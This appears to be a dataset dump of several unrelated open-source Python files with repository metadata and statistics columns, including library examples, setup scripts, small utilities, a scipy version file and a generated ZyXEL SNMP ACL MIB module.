# res['point']= | 33.47619 | 76 | 0.627312 | 92 | 703 | 4.565217 | 0.565217 | 0.059524 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054307 | 0.240398 | 703 | 21 | 77 | 33.47619 | 0.73221 | 0.930299 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98d580323bddffeab7acfa9058f08c58277e005a | 1,280 | py | Python | examples/api/default_value.py | clamdad/atom | 45d8a2e696002914dd5b71c150edbe54e9ba1e59 | [
"BSD-3-Clause-Clear"
] | 222 | 2015-01-01T10:16:41.000Z | 2022-03-15T21:28:08.000Z | examples/api/default_value.py | clamdad/atom | 45d8a2e696002914dd5b71c150edbe54e9ba1e59 | [
"BSD-3-Clause-Clear"
] | 100 | 2015-01-28T16:26:04.000Z | 2022-03-29T07:17:44.000Z | examples/api/default_value.py | clamdad/atom | 45d8a2e696002914dd5b71c150edbe54e9ba1e59 | [
"BSD-3-Clause-Clear"
] | 45 | 2015-01-05T14:08:13.000Z | 2022-01-31T14:17:20.000Z | # --------------------------------------------------------------------------------------
# Copyright (c) 2013-2021, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
# --------------------------------------------------------------------------------------
""" Demonstrate all the ways to initialize a value
1. Pass the value directly
2. Assign the default value explicitly
3. Provide the value during initialization of the object
4. Provide factory callable that returns a value
5. Use a _default_* static method
"""
import sys
from atom.api import Atom, Int, Str
def get_mother():
return "Maude " + get_last_name()
def get_last_name():
"""Return a last name based on the system byteorder."""
return sys.byteorder.capitalize()
class Person(Atom):
"""A simple class representing a person object."""
first_name = Str("Bob")
age = Int(default=40)
address = Str()
mother = Str(factory=get_mother)
last_name = Str()
def _default_last_name(self):
return get_last_name()
if __name__ == "__main__":
bob = Person(address="101 Main")
print((bob.first_name, bob.last_name, bob.age))
print(bob.mother)
| 24.615385 | 88 | 0.604688 | 161 | 1,280 | 4.652174 | 0.515528 | 0.074766 | 0.044059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017062 | 0.175781 | 1,280 | 51 | 89 | 25.098039 | 0.692891 | 0.55 | 0 | 0 | 0 | 0 | 0.045372 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.111111 | 0.111111 | 0.777778 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
98e5e44eba98b059fc30bc12fb7cf43b26e82f78 | 365 | py | Python | app/models/endeavors.py | theLaborInVain/kdm-manager-api | fa8744c9b8a739262d1b94900648254cc69d16e1 | [
"MIT"
] | 2 | 2020-03-04T13:43:45.000Z | 2020-11-03T20:34:21.000Z | app/models/endeavors.py | theLaborInVain/kdm-manager-api | fa8744c9b8a739262d1b94900648254cc69d16e1 | [
"MIT"
] | 64 | 2019-07-19T19:19:50.000Z | 2022-03-03T21:19:28.000Z | app/models/endeavors.py | theLaborInVain/kdm-manager-api | fa8744c9b8a739262d1b94900648254cc69d16e1 | [
"MIT"
] | null | null | null | """
The Endeavors asset collection has a number of irregular assets. Be careful
writing any custom code here.
"""
from app.assets import endeavors
from app import models
class Assets(models.AssetCollection):
def __init__(self, *args, **kwargs):
self.root_module = endeavors
models.AssetCollection.__init__(self, *args, **kwargs)
| 20.277778 | 79 | 0.706849 | 45 | 365 | 5.533333 | 0.666667 | 0.056225 | 0.096386 | 0.144578 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.205479 | 365 | 17 | 80 | 21.470588 | 0.858621 | 0.287671 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
98e97be18c63f8ef9e8f59a9c1da5ea5229f6454 | 2,619 | py | Python | qiskit_experiments/data_processing/__init__.py | yoshida-ryuhei/qiskit-experiments | 82561acf86b407dcda0a9ec69fe18de2b0a592a2 | [
"Apache-2.0"
] | null | null | null | qiskit_experiments/data_processing/__init__.py | yoshida-ryuhei/qiskit-experiments | 82561acf86b407dcda0a9ec69fe18de2b0a592a2 | [
"Apache-2.0"
] | null | null | null | qiskit_experiments/data_processing/__init__.py | yoshida-ryuhei/qiskit-experiments | 82561acf86b407dcda0a9ec69fe18de2b0a592a2 | [
"Apache-2.0"
] | null | null | null | # This code is part of Qiskit.
#
# (C) Copyright IBM 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""
===========================================================
Data Processing (:mod:`qiskit_experiments.data_processing`)
===========================================================
.. currentmodule:: qiskit_experiments.data_processing
Data processing is the act of taking the data returned by the backend and
converting it into a format that can be analyzed.
It is implemented as a chain of data processing steps that transform various input data,
e.g. IQ data, into a desired format, e.g. population, which can be analyzed.
These data transformations may consist of multiple steps, such as kerneling and discrimination.
Each step is implemented by a :class:`~qiskit_experiments.data_processing.data_action.DataAction`
also called a `node`.
The data processor implements the :meth:`__call__` method. Once initialized, it
can thus be used as a standard python function:
.. code-block:: python
processor = DataProcessor(input_key="memory", [Node1(), Node2(), ...])
out_data = processor(in_data)
The data input to the processor is a sequence of dictionaries each representing the result
of a single circuit. The output of the processor is a numpy array whose shape and data type
depend on the combination of the nodes in the data processor.
Uncertainties that arise from quantum measurements or finite sampling can be taken into account
in the nodes: a standard error can be generated in a node and can be propagated
through the subsequent nodes in the data processor.
Correlation between computed values is also considered.
Classes
=======
.. autosummary::
:toctree: ../stubs/
DataProcessor
DataAction
TrainableDataAction
Data Processing Nodes
=====================
.. autosummary::
:toctree: ../stubs/
Probability
MarginalizeCounts
ToImag
ToReal
SVD
AverageData
BasisExpectationValue
MinMaxNormalize
"""
from .data_action import DataAction, TrainableDataAction
from .nodes import (
Probability,
MarginalizeCounts,
ToImag,
ToReal,
SVD,
AverageData,
BasisExpectationValue,
MinMaxNormalize,
)
from .data_processor import DataProcessor
| 31.178571 | 97 | 0.71974 | 345 | 2,619 | 5.417391 | 0.489855 | 0.052434 | 0.033708 | 0.049759 | 0.166934 | 0.104869 | 0.104869 | 0.104869 | 0.104869 | 0.104869 | 0 | 0.004598 | 0.16953 | 2,619 | 83 | 98 | 31.554217 | 0.854713 | 0.888507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98f70d5ddc8fc406905d54058613214bd95d62ce | 290 | py | Python | __init__.py | CloudCIX/rolly | 8fafd655cb82881ae2cf75a475904cddc39e2f9a | [
"Apache-2.0"
] | 6 | 2019-12-09T16:13:21.000Z | 2020-07-16T11:42:33.000Z | __init__.py | CloudCIX/rolly | 8fafd655cb82881ae2cf75a475904cddc39e2f9a | [
"Apache-2.0"
] | null | null | null | __init__.py | CloudCIX/rolly | 8fafd655cb82881ae2cf75a475904cddc39e2f9a | [
"Apache-2.0"
] | 1 | 2021-01-02T09:44:39.000Z | 2021-01-02T09:44:39.000Z | """
Rocky is a CLI based provisioning and management tool for CloudCIX Cloud software.
Rocky is designed to operate in an out of band (OOB) network, serarated from other CloudCIX networks.
Rocky's purpose is to facilitate monitoring, testing, debug and recovery
"""
__version__ = '0.3.5'
| 32.222222 | 101 | 0.772414 | 45 | 290 | 4.888889 | 0.844444 | 0.063636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012346 | 0.162069 | 290 | 8 | 102 | 36.25 | 0.893004 | 0.889655 | 0 | 0 | 0 | 0 | 0.208333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98f921edc0f4676c7070bf0e769ce5e1dab739bb | 1,353 | py | Python | daproli/manipulation.py | ermshaua/daproli | c1f7aeec431d9c60ae06eeac23455c1a03bc82cf | [
"BSD-3-Clause"
] | null | null | null | daproli/manipulation.py | ermshaua/daproli | c1f7aeec431d9c60ae06eeac23455c1a03bc82cf | [
"BSD-3-Clause"
] | null | null | null | daproli/manipulation.py | ermshaua/daproli | c1f7aeec431d9c60ae06eeac23455c1a03bc82cf | [
"BSD-3-Clause"
] | null | null | null | from .utils import _get_return_type
def windowed(data, size, step=1, ret_type=None):
'''
dp.windowed applies a window function to a collection of data items.
Parameters
-----------
:param data: an iterable collection of data
:param size: the window size
:param step: the window step
:param ret_type: if provided the used return type, otherwise ret_type(data)
:return: the windowed data list
Examples
-----------
>>> import daproli as dp
>>> numbers = range(10)
>>> dp.windowed(numbers, 2, step=2)
[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]
'''
if ret_type is None: ret_type = _get_return_type(data)
return [ret_type(data[i:i+size]) for i in range(0, len(data)-(size-1), step)]
def flatten(data, ret_type=None):
'''
dp.flatten applies a flatten function to a collection of data items.
Parameters
-----------
:param data: an iterable collection of data
:param ret_type: if provided the used return type, otherwise ret_type(data)
:return: the flattened data collection
Examples
-----------
>>> import daproli as dp
>>> dp.flatten([[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]])
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
'''
if ret_type is None: ret_type = _get_return_type(data)
return ret_type([item for sub in data for item in sub])
| 30.066667 | 81 | 0.610495 | 209 | 1,353 | 3.851675 | 0.272727 | 0.104348 | 0.079503 | 0.014907 | 0.595031 | 0.532919 | 0.532919 | 0.532919 | 0.532919 | 0.532919 | 0 | 0.035853 | 0.237251 | 1,353 | 44 | 82 | 30.75 | 0.744186 | 0.618625 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c704254fb8b8187007babe4836f7f7b5682b3b65 | 888 | py | Python | setup.py | ASKBOT/python-import-utils | 9cc317cc2a42dd46d41d53e8209203ccfe528c11 | [
"BSD-2-Clause"
] | 1 | 2015-07-19T10:36:42.000Z | 2015-07-19T10:36:42.000Z | setup.py | ASKBOT/python-import-utils | 9cc317cc2a42dd46d41d53e8209203ccfe528c11 | [
"BSD-2-Clause"
] | null | null | null | setup.py | ASKBOT/python-import-utils | 9cc317cc2a42dd46d41d53e8209203ccfe528c11 | [
"BSD-2-Clause"
] | null | null | null | import ez_setup
ez_setup.use_setuptools()
from setuptools import setup, find_packages
import import_utils
setup(
name = "import-utils",
version = import_utils.__version__,
description = 'A module that supports simple programmatic module imports',
packages = find_packages(),
author = 'Evgeny.Fadeev',
author_email = 'evgeny.fadeev@gmail.com',
license = 'BSD',
keywords = 'import, module',
url = 'http://askbot.org',
include_package_data = True,
classifiers = [
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python :: 2.5',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
],
long_description = import_utils.__doc__
)
| 30.62069 | 78 | 0.647523 | 95 | 888 | 5.842105 | 0.621053 | 0.079279 | 0.135135 | 0.140541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010279 | 0.233108 | 888 | 28 | 79 | 31.714286 | 0.804699 | 0 | 0 | 0 | 0 | 0 | 0.431306 | 0.025901 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c70c9127731c0e67539a6749c14a06e75f1c3481 | 789 | py | Python | app/api/v1/validators/validators.py | GraceKiarie/iReporter | 1011f878f9fb643798192aeed1b68c3e6de4dedc | [
"MIT"
] | 1 | 2018-12-14T09:52:39.000Z | 2018-12-14T09:52:39.000Z | app/api/v1/validators/validators.py | GraceKiarie/iReporter | 1011f878f9fb643798192aeed1b68c3e6de4dedc | [
"MIT"
] | 6 | 2018-12-08T11:15:46.000Z | 2018-12-15T11:04:36.000Z | app/api/v1/validators/validators.py | GraceKiarie/iReporter | 1011f878f9fb643798192aeed1b68c3e6de4dedc | [
"MIT"
] | 5 | 2018-12-04T11:00:54.000Z | 2019-06-13T12:53:50.000Z | """ This module does validation for data input in incidents """
import re
class Validate():
"""
methods for validatin incidents input data
"""
def valid_email(self, email):
self.vemail = re.match(
r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", email)
if not self.vemail:
return None
return True
def valid_password(self, password):
self.password = re.match(r'[A-Za-z0-9@#$%^&+=]{8,}', password)
if self.password is None:
return None
return True
def valid_string(self, value):
"""
checks if value in data is empty
"""
self.value = value
if not isinstance(self.value, str):
return None
return True
| 24.65625 | 70 | 0.532319 | 100 | 789 | 4.16 | 0.4 | 0.028846 | 0.048077 | 0.057692 | 0.230769 | 0.230769 | 0.096154 | 0.043269 | 0 | 0 | 0 | 0.017078 | 0.332066 | 789 | 32 | 71 | 24.65625 | 0.772296 | 0.166033 | 0 | 0.333333 | 0 | 0.055556 | 0.120661 | 0.120661 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.055556 | 0 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
c7102803d3080f23edcd56ddbfc0360cc305ab8a | 971 | py | Python | src/eodc_openeo_bindings/map_comparison_processes.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | null | null | null | src/eodc_openeo_bindings/map_comparison_processes.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | 7 | 2020-02-18T17:12:31.000Z | 2020-09-24T07:19:04.000Z | src/eodc_openeo_bindings/map_comparison_processes.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | null | null | null | """
"""
from eodc_openeo_bindings.map_utils import map_default
def map_lt(process):
"""
"""
param_dict = {'y': 'float'}
return map_default(process, 'lt', 'apply', param_dict)
def map_lte(process):
"""
"""
param_dict = {'y': 'float'}
return map_default(process, 'lte', 'apply', param_dict)
def map_gt(process):
"""
"""
param_dict = {'y': 'float'}
return map_default(process, 'gt', 'apply', param_dict)
def map_gte(process):
"""
"""
param_dict = {'y': 'float'}
return map_default(process, 'gte', 'apply', param_dict)
def map_eq(process):
"""
"""
param_dict = {'y': 'numpy.array'}
# NOTE: how to map type dynamically to support strings?
if 'delta' in process['arguments']:
param_dict['delta'] = 'int'
if 'case_sensitive' in process['arguments']:
param_dict['case_sensitive'] = 'bool'
return map_default(process, 'eq', 'apply', param_dict)
| 15.918033 | 59 | 0.589083 | 119 | 971 | 4.571429 | 0.319328 | 0.198529 | 0.147059 | 0.15625 | 0.577206 | 0.330882 | 0.330882 | 0.330882 | 0.330882 | 0 | 0 | 0 | 0.236869 | 971 | 60 | 60 | 16.183333 | 0.734143 | 0.054583 | 0 | 0.2 | 0 | 0 | 0.160377 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.05 | 0 | 0.55 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c71dc157e40f86937d395921d62896697e8b4c70 | 186 | py | Python | fizzbuzz_for_02.py | toastyxen/FizzBuzz | 094270e3882e743a80c5d32b3903c2483d37755f | [
"MIT"
] | null | null | null | fizzbuzz_for_02.py | toastyxen/FizzBuzz | 094270e3882e743a80c5d32b3903c2483d37755f | [
"MIT"
] | null | null | null | fizzbuzz_for_02.py | toastyxen/FizzBuzz | 094270e3882e743a80c5d32b3903c2483d37755f | [
"MIT"
] | null | null | null | """Fizzbuzz for loop variant 3"""
for x in range(1, 101):
OUTPUT = ""
if x % 3 == 0:
OUTPUT += "Fizz"
if x % 5 == 0:
OUTPUT += "Buzz"
print(OUTPUT or x)
| 18.6 | 33 | 0.473118 | 28 | 186 | 3.142857 | 0.642857 | 0.068182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07563 | 0.360215 | 186 | 9 | 34 | 20.666667 | 0.663866 | 0.145161 | 0 | 0 | 0 | 0 | 0.052288 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c721d7a43c6300b41e4a0357169d5ebc646135d1 | 235 | py | Python | setup.py | joesan/housing-classification-example | 93f921cf01c79ab63732ef302ab52d2c9ffedee1 | [
"FTL"
] | null | null | null | setup.py | joesan/housing-classification-example | 93f921cf01c79ab63732ef302ab52d2c9ffedee1 | [
"FTL"
] | null | null | null | setup.py | joesan/housing-classification-example | 93f921cf01c79ab63732ef302ab52d2c9ffedee1 | [
"FTL"
] | null | null | null | from setuptools import find_packages, setup
setup(
name='src',
packages=find_packages(),
version='0.1.0',
description='Python codebase for the housing classification ML problem',
author='Joesan',
license='',
)
| 21.363636 | 76 | 0.685106 | 28 | 235 | 5.678571 | 0.821429 | 0.150943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015789 | 0.191489 | 235 | 10 | 77 | 23.5 | 0.821053 | 0 | 0 | 0 | 0 | 0 | 0.302128 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.111111 | 0 | 0.111111 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7655b5b6676c78858c562c5f53a9ea086d6bb5c | 228 | py | Python | bot/venv/lib/python3.7/site-packages/scipy/version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 76 | 2020-07-06T14:44:05.000Z | 2022-02-14T15:30:21.000Z | bot/venv/lib/python3.7/site-packages/scipy/version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 37 | 2020-10-20T08:30:53.000Z | 2020-12-22T13:15:45.000Z | bot/venv/lib/python3.7/site-packages/scipy/version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 15 | 2020-11-30T22:12:22.000Z | 2020-12-09T01:32:48.000Z |
# THIS FILE IS GENERATED FROM SCIPY SETUP.PY
short_version = '1.5.4'
version = '1.5.4'
full_version = '1.5.4'
git_revision = '19acfed431060aafaa963f7e530c95e70cd4b85c'
release = True
if not release:
version = full_version
| 20.727273 | 57 | 0.745614 | 33 | 228 | 5.030303 | 0.636364 | 0.144578 | 0.162651 | 0.180723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160622 | 0.153509 | 228 | 10 | 58 | 22.8 | 0.699482 | 0.184211 | 0 | 0 | 1 | 0 | 0.300546 | 0.218579 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c76b9236e24c24d26fa468bcec0fccac39b536c2 | 27,999 | py | Python | pysnmp/ZYXEL-AclV2-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/ZYXEL-AclV2-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/ZYXEL-AclV2-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module ZYXEL-AclV2-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-AclV2-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 21:43:03 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueRangeConstraint")
InetAddress, = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddress")
EnabledStatus, = mibBuilder.importSymbols("P-BRIDGE-MIB", "EnabledStatus")
PortList, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "PortList")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
Counter32, Integer32, Counter64, NotificationType, Bits, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier, TimeTicks, iso, Gauge32, Unsigned32, IpAddress, ObjectIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "Integer32", "Counter64", "NotificationType", "Bits", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "MibIdentifier", "TimeTicks", "iso", "Gauge32", "Unsigned32", "IpAddress", "ObjectIdentity")
RowStatus, MacAddress, DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "MacAddress", "DisplayString", "TextualConvention")
esMgmt, = mibBuilder.importSymbols("ZYXEL-ES-SMI", "esMgmt")
zyxelAclV2 = ModuleIdentity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105))
if mibBuilder.loadTexts: zyxelAclV2.setLastUpdated('201207010000Z')
if mibBuilder.loadTexts: zyxelAclV2.setOrganization('Enterprise Solution ZyXEL')
zyxelAclV2ClassifierStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1))
zyxelAclV2PolicyStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2))
zyxelAclV2TrapInfoObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3))
zyxelAclV2Notifications = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4))
zyxelAclV2ClassifierTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierTable.setStatus('current')
zyxelAclV2ClassifierEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierEntry.setStatus('current')
zyAclV2ClassifierName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 1), DisplayString())
if mibBuilder.loadTexts: zyAclV2ClassifierName.setStatus('current')
zyAclV2ClassifierState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierState.setStatus('current')
zyAclV2ClassifierWeight = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierWeight.setStatus('current')
zyAclV2ClassifierCountState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 4), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierCountState.setStatus('current')
zyAclV2ClassifierLogState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 5), EnabledStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierLogState.setStatus('current')
zyAclV2ClassifierTimeRange = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 6), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierTimeRange.setStatus('current')
zyAclV2ClassifierMatchCount = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 7), Counter64()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierMatchCount.setStatus('current')
zyxelAclV2ClassifierEthernetTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2), )
if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetTable.setStatus('current')
zyxelAclV2ClassifierEthernetEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"))
if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetEntry.setStatus('current')
zyAclV2ClassifierEthernetSourcePorts = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 1), PortList()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourcePorts.setStatus('current')
zyAclV2ClassifierEthernetSourceTrunks = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 2), PortList()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceTrunks.setStatus('current')
